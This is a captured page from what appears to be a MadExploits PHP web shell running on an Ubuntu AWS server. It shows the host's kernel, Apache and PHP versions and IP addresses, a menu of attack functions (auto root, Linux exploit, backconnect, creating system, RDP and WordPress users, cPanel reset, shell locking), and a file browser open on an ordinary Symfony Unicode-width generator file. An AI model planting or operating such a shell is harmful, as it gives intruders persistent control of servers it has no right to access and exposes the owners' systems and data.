Linux ip-172-31-29-64 6.8.0-1050-aws #53~22.04.1-Ubuntu SMP Fri Mar 13 21:34:27 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
: 172.31.29.64 | : 216.73.216.137
Cant Read [ /etc/named.conf ]
5.6.40-77+ubuntu22.04.1+deb.sury.org+1
ubuntu
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Symfony /
Component /
String /
Resources /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
WcswidthDataGenerator.php
3.19
KB
-rw-r--r--
functions.php
861
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WcswidthDataGenerator.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Resources; use Symfony\Component\HttpClient\HttpClient; use Symfony\Component\String\Exception\RuntimeException; use Symfony\Component\VarExporter\VarExporter; /** * @internal */ final class WcswidthDataGenerator { private $outDir; private $client; public function __construct(string $outDir) { $this->outDir = $outDir; $this->client = HttpClient::createForBaseUri('https://www.unicode.org/Public/UNIDATA/'); } public function generate(): void { $this->writeWideWidthData(); $this->writeZeroWidthData(); } private function writeWideWidthData(): void { if (!preg_match('/^# EastAsianWidth-(\d+\.\d+\.\d+)\.txt/', $content = $this->client->request('GET', 'EastAsianWidth.txt')->getContent(), $matches)) { throw new RuntimeException('The Unicode version could not be determined.'); } $version = $matches[1]; if (!preg_match_all('/^([A-H\d]{4,})(?:\.\.([A-H\d]{4,}))?;[W|F]/m', $content, $matches, \PREG_SET_ORDER)) { throw new RuntimeException('The wide width pattern did not match anything.'); } $this->write('wcswidth_table_wide.php', $version, $matches); } private function writeZeroWidthData(): void { if (!preg_match('/^# DerivedGeneralCategory-(\d+\.\d+\.\d+)\.txt/', $content = $this->client->request('GET', 'extracted/DerivedGeneralCategory.txt')->getContent(), $matches)) { throw new RuntimeException('The Unicode version could not be determined.'); } $version = $matches[1]; if (!preg_match_all('/^([A-H\d]{4,})(?:\.\.([A-H\d]{4,}))? *; (?:Me|Mn)/m', $content, $matches, \PREG_SET_ORDER)) { throw new RuntimeException('The zero width pattern did not match anything.'); } $this->write('wcswidth_table_zero.php', $version, $matches); } private function write(string $fileName, string $version, array $rawData): void { $content = $this->getHeader($version).'return '.VarExporter::export($this->format($rawData)).";\n"; if (!file_put_contents($this->outDir.'/'.$fileName, $content)) { throw new RuntimeException(sprintf('The "%s" file could not be written.', $fileName)); } } private function getHeader(string $version): string { $date = (new \DateTimeImmutable())->format('c'); return <<<EOT <?php /* * This file has been auto-generated by the Symfony String Component for internal use. * * Unicode version: $version * Date: $date */ EOT; } private function format(array $rawData): array { $data = array_map(static function (array $row): array { $start = $row[1]; $end = $row[2] ?? $start; return [hexdec($start), hexdec($end)]; }, $rawData); usort($data, static function (array $a, array $b): int { return $a[0] - $b[0]; }); return $data; } }
Close